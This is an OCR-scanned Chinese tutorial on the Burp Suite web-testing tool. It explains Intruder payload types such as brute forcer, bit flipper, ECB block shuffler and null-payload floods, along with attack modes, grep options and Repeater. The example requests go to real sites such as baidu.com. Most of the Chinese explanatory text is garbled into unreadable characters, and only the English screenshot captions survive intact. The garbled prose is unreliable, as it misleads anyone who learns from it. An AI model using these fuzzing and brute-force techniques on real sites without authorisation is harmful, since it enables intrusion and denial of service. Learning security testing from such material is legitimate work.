BT RAZA LOXXXXXX XFE R b=, SRIBH F2E7T. SAT0,
BT R B AL SR MR R 20 25 . Rk, Unicode ghd il 22 %
A WS B JE BT IR 2 fr. XM EME RN FET T REA 3 N EELR, %8
00XXXXXX, OLXXXXXX Fl LIXXXXXX. ik dix/MEmi, MdEZ: Unicode A 2
RS NEA E 7 E R 3 M INgRS. Maximize permutations in multi-byte
encodings WIREFM R AHEK UTF-8 KE RN 3 #Il E, IfHikh”

illegal UTF-8 "IXAMETi Al F . 4ni”"Maximize permutations in multi-byte encodings”% #
i, R PR AR AN, NA2: Unicode A 28 g IR 4 14 U A FR AN g 82511
REA TGS 3N AREA R, HHMPEETF AL . W Maximize
permutations in multi-byte encodings™ #7191, AHv% B Unicode A 3 firdi = N f5

g FAE R AREEMAR o W, 2N ESEF IS RINEIEN. £ R RS LR
e ZR AL, XA DIRELSIRA . legal hex XANEFHFEA E—HATH .
s R G A AT f5 22 I ARE AR Bh (i R ade ) AR RV g AL T8 R, 2 2
WGP A B 7N 2 A P BE e R B B A QUL ozl o 7Skl g g4 F 27 A—F AR
Tk # 10—15 FME. SRMA L NHERmiS At G R 16, H N 17, 54,
I OX1G AR 32, ik, WAL 7Sl R FHAE — A 2 A8 o5 ikl
Gt s — AL E, e = A W b 2 v BN AT RN, I H A SN ) 2

i RER TERETH)E 8 ME AL, Rtk 0xA1G &4 iid N 257, T SH RN 1.

NG



VA 2 AL BTN i 4—6 FhAHOC B ARVE TN R s, dn SRS A 2 b T R 2
i, MIX A RIR Ry [F]—FhH 7Sk fl g . Wil illegal hex™#ik, MIHE
Unicode 13 & S ff i & TEAEVE ML AR B, Az s AN =15 BB A T RE AR TE 7S kil
%Y. Maximize permutations in multi-byte encodings 054k d1 i) & KK UTF-8
KRR 2 A5 LL EFF H illegal hex” ik o, X ANEITAT A . Witk Maximize
permutations in multi-byte encodings™ & ik o, TEARARIE /S B b gLy, %
Unicode A &5 faf IR 22 4% 7 A BRAE AN 7715 o P T4, AR 4—6 DN EEE N
Hlgmis, HAKFHALE. WHE Maximize permutations in multi-byte encodings™#i%k 1,
MR Unicode A RS IR 2 A AR 7, AERARE T SR rE T . W, 24
TR ERAE N /£ H b R0 E Rl m s A LRSI, XA ThReadEw A .

add % prefix QIRGE X AL, £ A A R RS 2 AL S EmIgn S AT
#L=HlHN—P%F 5. Use lower case alpha characters iX MEIikE TR BE TN
HER gD BT KNS 7R, Total encodings iXANET Y474 KRR e JiE
T B, R REM KA EE T T RORAIR, XAMESRAE N, BV
SR E R ARESGS . Match / replace in list items X /NI H 2 #2541 Payload %1%
HH R, ERHILE ST (Match character) 1% #7474 f4 (Replace with
encodings of ) kT Az Payload B4 %

HEEEPATIS, XA RATIR ST A T E, ARk mLE S 2, A0
T HeREA T A8 € A5 (1 T AT S

FRFHL (Character blocks) ——iXFi2E[f) Payload &5 FH— A4 H N F 455,
FRAEFE 2 B B = AR 4R /N R, RIUE AN A B & K 5 .
F 7 3 AR ERSE v X i HH

2J P4
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be
customized in different ways.

Payload set: \ 1 v Payload count. 19
Payload type: \Cnaractet blocks 7f Request count: 19

L?J Payload Options [Character blocks

This payload type generates payloads based on blocks of a specified character or string. It can be useful for detecting buffer overflows and exploiting some logic flaws.

Base string: A

Min length: 100

Maxlength: 1000

Step: 50



Base string j& B B FIEFAFER, Min length /215 Payload [ /MCJE, Max length 2
& Payload M KK, Step ZF4 A Payload M K. wn FEMEE S, 4R

Payload 41 Kl il 7 :
B intruder attack S R e T

Attack Save Columns
Resuilts T Target T Positions T Payloads I Options ]
| Filter: Showing all items @
Request A| Payload L Status ‘ Error | Timeout | Length | \nEagleld: | Comment |
150xA 200 - O so7 3dbfbbcd1462376532... 2
3 200XA 200 [:J D 506 3dbfobc91462376533...
4 250x A 200 = O 506 3dbfobd0146237653...
5 300xA 200 O O 507 3dbfbbcc1462376533..
6 350xA 200 D E] 506 3dbfbbcc1462376533...
7 400x A 200 D D 509 3dbfobcc1462376533...
8 450 x A 200 O O 508 3dbfbbcb1462376533...
9 500 xA 200 O O 509 3dbfbobcd1462376533... fl
10 550 x A 200 ] [ 513 3dbfbbd0146237653... b/ I
| Request | Response
J Raw I Params I Headers I Hex ]
GET B
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
| HTTP/1.1
Accept: i g "
Referer: http://china.huangiu.com/article/2016-04/8815557.html?from=bdwz
Arcant-l anmiana:7h-CN I'
? < + > Type a search term 0 matches
Finished | ]|

B2k A (Number) ——ixXFP2E LK) Payload ZfEIRIEECE , ERi— RIS FIEN
Payload. ‘&R E AU T:

Type Lo P FIiE2REHLEL From o WA 805 IHs, To Ronfitt a8y 1k,
Step KA KR Z D, WMAZBEHLE, W How many #0E, Fox—EmE 04




BENL% . Base RonETF A TfE 2+ sdEHEL, Min integer digits Fxf/MY
B HE £/, Maxinteger digits FRonEa KINEBEEZ /D, WHZ 10 #4, W Min
fraction digits F/x/NEUEUE B> JUA L, Max fraction digits Fn/ NS R &2 ) AL EL
H#25% (Dates) ——iXFi2 A Payload ZFeRIEECE, AFR— KA HI. Fimin

Payload set: \ 1 vJ Payload count. 1

Payload type: [Dates vJ’R’eﬁuest count: 1

tll Payload Options [Dates]
This payload type generates date payloads within a given range and in a specified format.
From: |4 | [ May -J 2016
To: 4 | | May |w| 2018
Step: El [ Days

= & &

Format @ | 0512016

@ |E dd.MM.yyMi

7: Example: 05/2016 ;H\:

BB R T 8, WA AR 0, AlEBER . =T HkE X, FTRLEHE Burp H
Cfe MR, WaTRLEE L, B LR, #XREER T RIS | #X |
FEA| |--nmmm-- [-------- || E|Sat|| EEEE | Saturday | |d|7]|dd |07 ||M|6]|]| MM |06 ||
MMM | Jun | | MMMM| June | | yy| 16 | | yyyy| 2016 |

/153 (Brute forcer) ——t3 Payload 42 it & —/MEE A& 1 I A HFFUHRS E
K BRI RER, W TR T IR S, R E ST

Character set FK/x B F M I AR SE, MIHEPRE P IR E1T 4. Min length
#* Rk Payload HIH /MK E, Max length 72k ik Payload i KK

XA (Null payloads) —— X8R =4 1) Payload, FHAHZ —NTEFfHFH. 7E
Yo i, FTREFREMIER R ZHEIAT, ERAEESURGTE R K% 5 T Il Payload /&
s HHM. S H T & Y%d, Flhn cookie HKIFHI4 4T M Z Dos. BUEIES 1G4S
J TE LT 1 TR B e S



QJ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each pay
customized in different ways.

Payload set. |1 | Payload count: 0

Payload type: | Null payloads K 4 ’{quest count: 0

Payload Options [Null payloads]

&

This payload type generates payloads whose value is an empty string. With no payload markers configured, this can be used to repeatedly issue the base request unmodified.

@® Generate payloads

() Continue indefinitely

TERCE Payload A 7 if, EAWANIED, FRATATUAFEE R (Generate) % /b
Payload, ML E N—HEHFFEMHE (Continue indefinitely)

F4F frobber (Character frobber) ——X 258 ] Payload A= B2 : IR IKIE 4R
E TR TR ENE, SRR A B —AMZ T/ ASCI . &8
AT R H T E RG2S AT R IRER 2 TIRES, A1l 2
PANFERFMEZ G, BRSIEE LT T, AR RERIX A2 Mt br 3 4 H
RIB B2, o B S

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are availal
customized in different ways.

Payload set: \d1 ﬂ Payload count. 6

Payload type: {Characterfrobber Mest count: 6

Payload Options [Character frobber]

(]

This payload type operates on a string input and modifies the value of each character position in turn. Itis useful to quickly test which parts of a long string have ¢

Operate on: (_) Base value of payload position

@ Specific string: ‘abcded ’

PAT S5 A R Payload 4 K Bl :

Results TTarget T Paositions TPaonads TOptions ]

| Filter: Showing all items

Request 4 | Payload | Status | Error ] Timeout | Length [ Comment
1 bbcdef 200 O O 518
2 accdef 200 O O »s17
3 abddef 200 O ) 524
4 abceef 200 O ] »519
5 abedff 200 O (] 519
6 abcdeg 200 O [J »516




Bit #1% (Bit flipper) ——iXfi2EAL ) Payload 4 Bl & XTI Payload R4

fH.,
@

IS, UG T B, ERBRE S W N

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are avail:
customized in different ways.

Payload set: | 1 —VJ Payload count: 8
Payload type: | Bit flipper —vj mﬁﬁ:’?'

Payload Options [Bit flipper]
This payload type operates on an input and modifies the value of each bit position in turn. It can sometimes be used to meaningfully modify the decrypted value

Operate on: () Base value of payload position

(® Specific string: | ab

Format of original data: () Literal value
(® Encoded as ASCII hex

Select bits to flip: M 1(sB) 3 W5 M7
™ 2 W 4 6 ) 8 (MsB)

HEB R E 34 . Operate on 15 7E & Payload £ & i R (6 HUE #E47 Bit B IE 215
S {HIFAT Bit 1%, Format of original data &35 /& 75 6 R MG B ) S A B SGHATHRAE,
NI 4E ASCIL /53], Select bits to flip Zf8iEFEIEN Bit (28 . &
AT LA BT AR AT, B3R T ASCI N iR A B AT RS . i,
RIRUG(E & ab”, FET AR LRI 45 R 2

IR T ASCI HoNHERI 745 B BEAT R, 45 A2



XFPRAL Payload ZEBL T 4F frobber, {HEART 20 4k RE A4 il =24 F . it
DR MBS HUE N CBC AR E M N, A A RER G b il —# RN E
Bit 37 AR M3 5 At . AEXAPIE LT, ARAT ARE AT Bit #1%% (¥ Payload SKif & fin
# AHWNEES T AN bit 75 72 S XN R FP AR, JF T RN AR Y 1 5 32 2
Wi SR IR RT BA s (] D s o St — 2 0 1

M %4 4% (Username generator) X #0241 Payload =2 AT H F 4 1 email ik
5 HIEBVAER, HEERmn T E:

» | Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are
customized in different ways.

Payload set: 11 ‘vJ Payload count: 100 (approx)

Payload type: [Username generator ‘VJ (equest count: 100 (approx)

~| Payload Options [Username generator]

This payload type lets you configure a list of names or email addresses, and derives potential usernames from these using various common schemes. '

Maximum payloads per item: { 115 |

Paste t0data@hotmail.com &

! Load ... 7
i Remove |
Clear

Add

m
®
2
T


http://blog.chinaunix.net/uid-20606164-id-3208475.html

R PR, B T IRIGE Y todata@hotmail.com, 2R 53T I Payload A= piiss, HE

Attack Save Columns
Results T Target T Positions T Payloads I Options ]
’ Filter: Showing all items I@
Request ‘| Payload l Status [ Error | Timeout | Length | Comment
1 t0data@hotmail.com 200 O [ 521
2 t@hotmail.com 200 O O 518
3 to@hotmail.com 200 O [0 518 b
4 tod@hotmail.com 200 O O 521 '
5 toda@hotmail.com 200 O [J »518
6 t0dat@hotmail.com 200 O [ 520
Response
| Raw | Headers | Hex "
HTTP/1.1 200 OK [&
Server:Tengine
Content-Type: application/javascript
Content-Length: 9941 |
Connection: close L4
? < + = Type a search term 0 matches
Finished | ]

ECB hn# 4 (ECB block shuffler) ——ixfh2k%4f) Payload & %L T ECB i
] Payload g%, ST In@ s n] DL e e o i — b i TR . HR R
NECB n#E iz 20 64 A7 B 2 I8 A BT, 38 oAR o 20 s A B =0k
LA A


http://blog.chinaunix.net/uid-20606164-id-3208475.html

ﬂﬁifh oM. R E R Ewn FE, Payload Ik & 2% E—4> Payload 2%
BOEE, AFEER. Wi

2| Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
customized in different ways.

Payload set: “ ﬂ Payload count. 0

Payload type: | ECB block shuffler ‘vJ munt: 0

2 | Payload Options [ECB block shuffier]

This payload type can be used to shuffle blocks of ciphertextin ECB-encrypted data, so as to meaningfully modify the decrypted cleartext
that use the same cipher and key, to provide additional blocks for shuffling into the original data.

Encrypted data to shuffle: \.) Base value of payload position

@ Specific string: [|

Format of original data: () Literal value
(® Encoded as ASCII hex

Block size (usually 8 or 16). '8

Paste

Load

Remove

Burp Payload 4 i ffifh (Extension-generated) ——iXFh2%4[¢] Payload /&3 Burp
i MERAE K Payload {8, KA F AT L2022 35 i B Burp 4@ ¢F, (e B —A
Intruder payload A= i #y, HEbAb A . HIEEAGEREH DRI NE R, BE8EE
¥ H pAUA Burp #,  SAAAFE I

2| Payload Sets ;Jshnanack
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be
customized in different ways. r N
A Select payload generator [
Payload set: |1 = Payload count  unknown .
= 1 2 | Selectthe extension-provided payload
Payload type: | Extension-generated ‘v’ Request count unknown = generator that you want to use. Burp 4
extensions can be loaded using the Extender
1 tool. j\ -
<
w Payload Options [Extension-generated] —
= Extension payload generator: | Bradamsa R4
This payload type invokes a Burp extension to generate payloads.
Selected generator: Bradamsa
OK Cancel
e ok [ooen
Select generator ...

Payload & i (Copy other payload) ——iXFi27 ] Payload J& 44 H At & 112502 il
#| Payload fii & I, {ENHi Payload {8, HH&EH T2 ANSHWEREES, ErfE
M3 salfe: LM ARBSEE Eﬁiﬁﬁ*ﬁﬂﬂ’ﬂﬁ Leanise, FPEME, i E
SN, HAEWTEE—F, Hﬂ%ﬁiﬂ%lﬂ: Payload 257, 2. fE—iERd, — 3%
PUER T 59— NS EOE LT 8 AR A s, mT DA G Payload 282, &
1) B



MAMSE L FE R, wFEFR, Hh Payload £/ & )& SIE L2 & A K Th Payload set
1) AH
@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in
customized in different ways.

Payload set: [1 ﬂ Payload count. unknown

Payload type: [Copy other payload ﬂ/Request count. unknown

Payload Options [Copy other payload]

()

This payload type copies the value of the current payload at another payload position. It can be used with attai

4 32—/ PayloadifiEEE|{E

Copy from position: ‘

Payload iz B FlH I8

BB 1kEF Payload 78 (Payload positions) &34 ) % & 71 -
w Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Aftack type: [cuusrer bomb ‘vJ

GET /z_statphp?id=§10000101028&name=§102§ HTTP/1.1 A Add
Accept: */* r [—§J
Referer: http://china.huangiu.com/article/2016-04/8815557.htmi?from=bdwz Clear §
Accept-Language: zh-CN

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; NET CLR 2.0.50727; .NET CLR 3.5.30729; NET CLR 3.0.30729; Media Center PC Auto §

6.0; NET4.0C; NET4.0E; InfoPath.3) T —
Accept-Encoding: gzip, deflate |- Refresh

Host: s22.cnzz.com

-
v

w L;J u =) [Type a search term | 0 matches Clear

MR IRATATLLE i, Payload fir B B E & T Http 18 5K B SR A6TH BAF B, A —
Xt

§FAFRbRICH Payload AL E, EXMANS HHEAE T RCCARAR. SERMCEIE A

Payload 7E 15 3K B IR IAALE L ARl )G, ARG, Burp Intruder #iit—4> Payload

i TRE R AR IRALE L, B AT SR BANMIE . W EETR S Ed ST 8775
Z AR W72 Payload £ E 1, name Ja i) 8475 Z [MFxH /& Payload & 2, XAME
X Payload B E H i) Payload set . FATATLALEH B 44 & P XS Payload i & i3t
o, & FIOR AN YA R R .

[Add 81 —7& 4 HEARIAL B I —A> Payload {7 & br
[Clear §] TEFRFTA Payload 7 B b5 & B & 1 FRIE H 1Y Payload 7 B A% &




[Auto 81 —xHH 2 AR H AT RER ZAR SIS HUL— D50, 4rE08 Payload {7 &,

H i E 5 e BN TR, e MReehs B /5 24% A\ Payload (). H I Burp 32
FrEEF M SR . 1L.URLIERZ % 2.Body 24 3.cookie 24 4. H 5 S MR
P, tetn SO EARRHEE SO 4 5. XML #idls 6.JSON #dls 548 Burp BRIAZSCRE H 3R
LIXLERA S HE )y Payload (L&, {HUNFZEHX T XML 5 JISON H15 & 1 1E
), EREFHET LIEE.

T S N R B T
[Clear] —i&FRH BT E NE.

TEJH B miE e L7, BTN hOEFRHE, B2 (Attack Type) . Burp Intruder 3¢ #F
ff H Payload AT Z Fh 7 XIS, HETRZER LT 4 Fh.

Hi TR (Sniper) —— & i —41 Payload %4, Kk #E#: Payload i & I (—&k
W HEEH—A Payload 7 8) #i8hREMI TR GiBEA Yishr E AR AZEM) |,
XRS5 a7 SR, W T IRIE R S 80 B AR .

Yopaii=C (Battering ram) —— i #.—11 Payload 224, KX & #: Payload i &
b BESARERI A (A W SR & B SCARKGEAZ 2D, RS dumiiATiE sk, 501
T B XAE T, WRA 2 NS HA N Payload Az EFr &R, A Payload (A
SAEE 1), S FER GefE H—A Payload £ B A

B (Pitchfork ) —— &1 LA H £ 41 Payload 54, 18— ANA[H A Payload #r
& MELE (RE 201 , wFHFTAK Payload. 28615k, WHA P Payload Fr&
fE, % Payloadfti’y Al B, % 4 Payload {iy C il D, MIKiEXdH, ¥
REPIRE &5, AR E Payload 43728 A fI C, 28 — A 1) Payload 437l
N Bl D,

LR IEHEA (Cluster bomb) ‘BRI £ 4 Payload £4, 78— MAHEM
Payload #rEME L (% 201y , KK T A ) Payload. & 58 XA AR EE X
ATET, $ATHI Payload (4 Payload ZH 3R AR . 245k, WA M A Payload fr&
K&, H— Payload iy AR B, %/ Payload i’y C #1 D, W &EI i, #Ik
KRBT, F — AR Payload 73518 AR C, 2 X fEH 1) Payload 73714 A
D, HE=WAEFK Payload 454 B A1 C, =5 PYkAd FH Y Payload 4354 B 1 Do

[ Refresh]

AR E (Options)

AR B ARG R BRI E . R E . B RiRE . grep match, grep
extract, grep payloads, LA L HE € [l B . A, RO UAAEBGE AT TR E, W] DI
I A i S 3 T 11 1 2

HREE L E (Request Headers) ——IxX AN F 2 SR H1E R IH B ALHE S,
‘B il Update Content-Length header 1 Set Connection: close AN &I . HH



Update Content-Length header @154k, Burp Intruder 754N KIS I EE H
Content-Length Sk %K R I HTTP AR B IR PR« 1X AN ThREIE 3 2 Adi A Al AR
K FER) Payload 2B HTTP W R B FAR M B, i seh fa e s, W Hbr
k%% Rl fResiR Bl — MR, ATRES B — DA TERERTE R H N, B AT BE 2 Jo PRI
b 2 45355 SR Ak 232U K . Set Connection: close IS4k, %% Burp Intruder 7£
TG SR B A INECE FHE N O A RSk, IR R AT . TESE R T
CYAR S 25 A B FH AR [F—ANF 21 Content-Length 5% Transfer-Encoding 3k) , &
PR ATRE R VRS
[Target T Positions TPaonads IOptions ]

@ Request Headers

&l These settings control whether Intruder updates the configured request headers during attacks.

(V) Update Content-Length header
[/] Set Connection: close

WK G E (Request Engine) ——IX /M B 32 B H k4% Burp Intruder Xy, &3
Hi A X Lo S e I ot e BB FE . 'EA W 2 Number of threads 3k
) Z6F2%0, Number of retries on network failure 2% 2% Mo {5 B8/ ¥, Pause
before retry SEiXAT &0 EEFE (ZF) , Throttle between requests &K ZE
(= ) , Start time JFURETE], JE3IBH 2 G 2 A A FFIEIAT -

[ ')J xequest Engine

IQJ These settings control the engine used for making HTTP requests when performing attacks.

Number of threads: 1
Number of retries on network failure: 3
Pause before retry (milliseconds): 2000
Throttle (milliseconds): @) Fixed 0
(_) Variable: start |0 step 130000
Start time: (® Immediately
O 10 | minutes

() Paused



~» | Attack Results

Q These settings control what information is captured in attack results.

(/] Store requests

(/] Store responses

@ Make unmodified baseline request

[ ] Use denial-of-service mode (no results)
[ ] store full payloads

Grep Match——X N 1 AR I R B R B A R IT, R ULHRS, AE TGl 45 2R
TR IR S AR B, T AR AR SR e, 7RSSR RTINSy, S A Y
AN IR BGRB8 56 £ SQLEA IR, 445 °0DBC”,
“HETRSETH BT LR A eSS 24

2 | Grep - Match
4

O’ These settings can be used to flag result items containing specified expressions.

@ Flag result items with responses matching these expressions:

Load ... |

Add ‘

Match type: (8 Simple string

(L) Regex

|| Case sensitive match
(/] Exclude HTTP headers

HiETA Match type FRILHCER L AE 2 W #7475, Case sensitive match &7
K /NE#UE, Exclude HTTP headers VL E (5%, 275 http 145 k.

Grep Extract——ix 2835 & v i T2 B 2yl SR A B B T3 38 e B 1) A 1
H, Burp &8I &H2B0Z0 H MSCARKEEE By. R5, ST LUHEEF ] Gant s
FIARRE) 4 BT PE BRI . e T AR FHBE 3248 A I, BRSO de ) 2 Gt .

Biltn, WK — R Y50 1D BIEIR, v DR EUEA SR SR A R R 0 E B L bR
A, G0 SR R DR [ A S AR FE P VRGNS BRI ThAE, AT LB S ID EE AR
AR P FREEK P, HE%m, DRGSR EELN NIRRT E - NHP 2EASE, IF



ARHAFFHREHK S, ER%M, R SEEL IR FEE - NHP21EAZSE, JF
IR el —ANFH PR E R E RS SR, AT DL I 3 [F] i R P 44 91 2 AT ATSOER I T A R O
PP, ARG EUW ML 5051 3R 4R 25 0% 2 %

w Grep - Extract

T | These settings can be used to extract useful information from responses into the attack results table.

() Extract the following items from responses:
| Add .
| Edit
|
Duplicateil b
[
Down
| cear ||

Maximum capture length: | 100

& S

Grep Payloads——ix 26 & n] FH T4 HUm NyE B+ 2 B8 & Payload 8, L, K
AEIGAE SR XSS BIA R A D), AT LS B I, MUk B S, SRR
iy, WY Payload 41EH, Win¥ms], S sULECRIZER, R L
Fbr i &5 R E AT H T L

QJ Grep - Payloads

’d' These settings can be used to flag result items containing reflections of the submitted payload.

[ | Search responses for payload strings

[_| Case sensitive match

[ ] Exclude HTTP headers

(] Match against pre-URL-encoded payloads

HEE TR E—A2, FEEE N2 Match against pre-URL-encoded payloads, #fi
BARAEG KW BN E 7 URL-encode payloads , ix H 267~ DU AC AR 2w A5 2 Bl (1
Payload fi, 1A% 5 HIME .

#HE M (Redirections) XLy B EE RS HAT Bed i Burp an ey 4b 2 EE ],
TESE BT A R L AUEE E e ], A RESCIURI S H W . B, eI o+,
TR AR 145 0T AR B DD A % 2 H [ i B B — /N RV SRR T, W SRS IR
SEFEMEHRORET. HEE 7 HE WA RSB R A 8, thinyd, eI
LG IR, NP 1P TE SR IS5 3, P A e [ i SIS 2R A
XA AT e AT L A L A AR — AN R G . AT RE B, BRI EE R




[e], P e M 7 B () BV D, X, R IR E R T e R EUR I ST
B o R v B TR A BB ) B [ BB SRR B, AR R EAL

»| Redirections

& These settings control how Burp handles redirections when performing attacks.

Follow redirections: (@) Never
(_) On-site only
() In-scope only
() Always

|| Process cookies in redirections

Intruder B A4h B4

—RBCE AR, BT — R URAE Burp Intruder R E T Target, Positions,
Payloads and Options , #&J& fidi [Startattack]l B4l B —MRARIT I — D2 BTRAE
s ScpE, SRJE S [Start attack] JashXidi. i 2&MF 7 N5t &S, Burp #0K
PR g R . EXGEPE AR, AR MBS G RC S, B MO R . Bt
R B AR

7 Intruder attack = E e
|Attack Save Columns] @ RER

_[ Resuilts T Target T Paositions T Payloads I Options ]

Filter: Showing all items A —— TR X ‘@
aquest | Payload1 A| Payload2 | Status | Error | Timeout ‘ Length | Comment
it c 200 OJ [] 52 |
a d 200 O [J 525
b c HERRER 200 O 0 523
b d 200 O [ 526
|| = s
[ Request TRespon_s_e ]
J Raw T Headers THex ]
HTTP/1.1 200 OK 4
server: Tengine
Content-Type: application/javascript iERAREE
Content-Length: 0
Connection: close
Date: Fri, 06 May 2016 15:31:25 GMT Y
Last-Modified: Fri, 06 May 2016 15:31:25 GMT
Cache-Control: max-age=>5400,s-maxage= 5400
Via: cachel0.2cn62[56,200-0,M], cache56.12cn62[56,0], cachel66.cn43[88,200-0,M], cache162.cn43[91,0]
'( Cache MISS TCP_REFRESH_MISS dirn:6:1140093726 £

u u L_J Type a search term 0 matches

Save cancelled | g

M EEBATAT A Y, H R 2GR, i JEds . Payload $hAT 4R Bl X 153K/
M S 9 DX Y A # o 2L R o




SEHLX f 8 Attack SEHL. Save L, Columns 8L,  Attack 3¢5 3 35 ke | Wi AT
W, AUV R (pause) . KE M (resume) . BRI (repeat) .
Save 5B R & R EOE, Attack R4 RTBGE RIS, ST UM ST
PREAT PG Results table TRAFBGH NEE RAIER, HH4 T EH (1) Payload #4745
HEIE AR, IR DUERAT AT R, R FHARTEEEE; Server
responses {RA7FTA MRS 2N Y 2 Attack configuration {47 24 8 B i B 15
B Columns &5 3 2 A R S0 R X BRG] . WERFEAFIgEE S, N7E
Payload #1417 Z5 i Bid R X ER, RZMAER,

ORI LB A s IRSS SRR RS . R Payload $hAT 45 R 21T
XIS AT e

Payload $AT45 RH Bidxk X, NFRE5HRYIFE (Results Table) , i3 Payload $i47H} %
KA N A ER, BEEERIA: ERFI—ERIERNTIS, WREE 7D
SEARMB G RE AR, WSfEE— A Tids%. Payload fii —HT FHA T
15k Payload {[E——UWH A £/~ Payload, WIAEEZ 41 HTTP ARSI ——N 55 245 i B
MR AR V5 SRS [R]——$AT Tt () IS [R) e S92 B[] ——F G 42 52 21 o LB [|),  BRA 20
Wi S 56 BSCHST [B]——Pi B2 56 RS IR, BRA 2. 48 iR——Payload AT I 2 5 &
AL 8% 1) LR N O ——— S A L M B R R, A A A R 2 R I K ——— 1 Y R

[ & Cookie——fE [ [¥] Cookie 15 5. Grep——n K% E 7 Grep ILAL. Grep HHL.
Grep Payload, N&H 2 A5 B RILEL G B B2 m—n RECE 7 HEE R, WERE
B

—— ISR RS B

T R/ R B X ——Z7% Proxy & 15 I AH R AUR

XS B g5 R M o dreh, ARTT LS AR S b CR o bn g8 T ek, Bk
FRRRHEY) BEHHE RN AR . A RO R B (1 45 R A — S S BT 70 2 E AL AT R B
TR 55 A L, IR e 28 X BT R . AT 200 B 3R] DL IS AR A A AN 22
St LAFEK HTTPIREAUS 2 A AN 3AFAE BRI 4. 55 R BGE I )
KA S RIRIZC B S T B (B [ 22 5 BN, #E URL BRARIHERE T, XL R Bk
[ 18RI Rk [A1“404 AR E" RIS, BRI URL 23 [ B5i1°200 OK IR o B34 75 % i
N Bodi, R SRR AT RE &7 R MRS E SR 7200 OK MR, 11—k
e KR A 1302 X AN RN, BAN ALK “200 OK™ M K. L .

B—/MEENKAA G, Xt Burp Intruder B 45 R 7 AN e A AEE R, R EZET
AN NI F R AR S, RAEREZ, R, A aeld bt Bl
SR HI TR CoRE R EEAE R .



FILE WA H Burp Repeater

Burp Repeater /£ Burp Suite #— K F LIGAE HTTP JH.S MM T &, @% T 2 K EK
R e SR T AB SO SR B A o 0T AR 55 448 i T R PRV B AT . AR B IRAT B TN
B

Repeater ()i il wJik
Tk ®E (Options)

Repeater [1]1d

EBEMRE T, RINILEHEH Repeater SKik47i% R 5w N i BEE M, Ebinis sk
W ORZH, RAEMARIRT; BUOERSE, RIEZEEAG M idskd, 3EE
MRS SR BTSSR B i . Burp Repeater f#:/E Al a0 R B s

K. Burp Suie Profesiona 1. Ghet  ned o aryLou T T T e

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder TRepealer I Sequencer I Decoder I Comparer T Extender T Options | Alerts
N ..

Go Cancel <|v >y Target: https://www.baidu.com U U
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

OST /HTTP/1.1 A HTTP/1.1 302 Moved Temporarily A
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, r Server: bfe/1.0.8.14 r
image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint] Date: Tue, 03 May 2016 01:28:01 GMT Ef

pplication/msword, */* Content-Type: text/html

Accept-Language: zh-CN Content-Length: 215

ser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR Connection: keep-alive

.0.50727; NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Location: https://www.baidu.com/search/error.html

NET4.0C; .NET4.0E) X-UA-Compatible: IE=Edge,chrome=1

Accept-Encoding: gzip, deflate BDPAGETYPE: 3

Host: www.baidu.com Set-Cookie: BDSVRTM =0; path=/

NT: 1

Connection: Keep-Alive <html>

Cookie: BAIDUID=D0B4C6DSF71661E12A778120C8:FG=1 <head> <title>302 Found</title> </head>

Content-Type: application/x-www-form-urlencoded <body bgcolor="white">

Content-Length: 0 <center><h1>302 Found</hl></center>

<hr><center>pr-nginx_1-0-268_BRANCH Branch
T Time : Wed Apr 27 21:10:17 CST 2016</center>
FREER </body>
</html>
EEHAX

TR B X % i A& AT SR S AR5 S, Burp Repeater JyfE— Mg R 115K
G T, HPAETERMAGRECT LWL Z )5, ATUMBHBOE R T, XN T 26K
MR, MEEsX . RS0, A0 [GOY %4, HIATRIE K IITH B i

Ju



ZJa s Rl I RUAEE KRG AR 55 A i . AR 55 4% (038 RIAT AFE target AbiEAT20, Wk
B Fs .

Request

| Raw I Hex

P IS XX B AR SR B iy [GOY #4tlm, g5 asim i S B B . BB XiE KiH 2
FIZHOR EEXT o BT BN T S 2 TRl 22 5, e SE A7 I FE B ERATT 730 3R G AT REAFAE ORI o

EFA1MH ] Burp Repeater I, 8% 2x454 Burp B HAhR T B —#EH, Hin Proxy A5 &
it 3%, Scanner FHiICR . Target fouh st BEE, @k Hah T H A SR, 4T
[Send to Repeater] , Bk¥% | Repeater LI~k H, RS54 XGRS LA R G R E
B EdE TS IR IR S E .

AlETNE E (Options)

5 Burp HAth T B EAIE, Repeater 1] %15 & 5% BAL T 2N F 1 TS ) 52 B A,
w E R

‘ Burp Suiteiljrofessi' al v1.6beta nsed to
Burp IntruderWindow Help

Target l Prox v Update Content-Length T Sequencer I Decoder IComparer T Extender I Options TAlens ]
~————— V Unpackgzip/deflate
Sialany S Follow redirections >
Filter: Hiding n Process cookies in redirections E1| binary content; hiding 4xx responses; hiding empty folders
View P
Action > :IFt | Method | URL [ Params | Status A\ Length
<

HEFROUR/BLUTNE:

B8 Content-Length XM i H 1351 Burp & 75 H 2l B#iE K1 S
L] Content-Length

fREAESE (Unpack gzip / deflate ) 3% AN 5 3= ZF - #41 Burp 275 H S 5UE
Y PR 2% SRt 7 (g PN 2



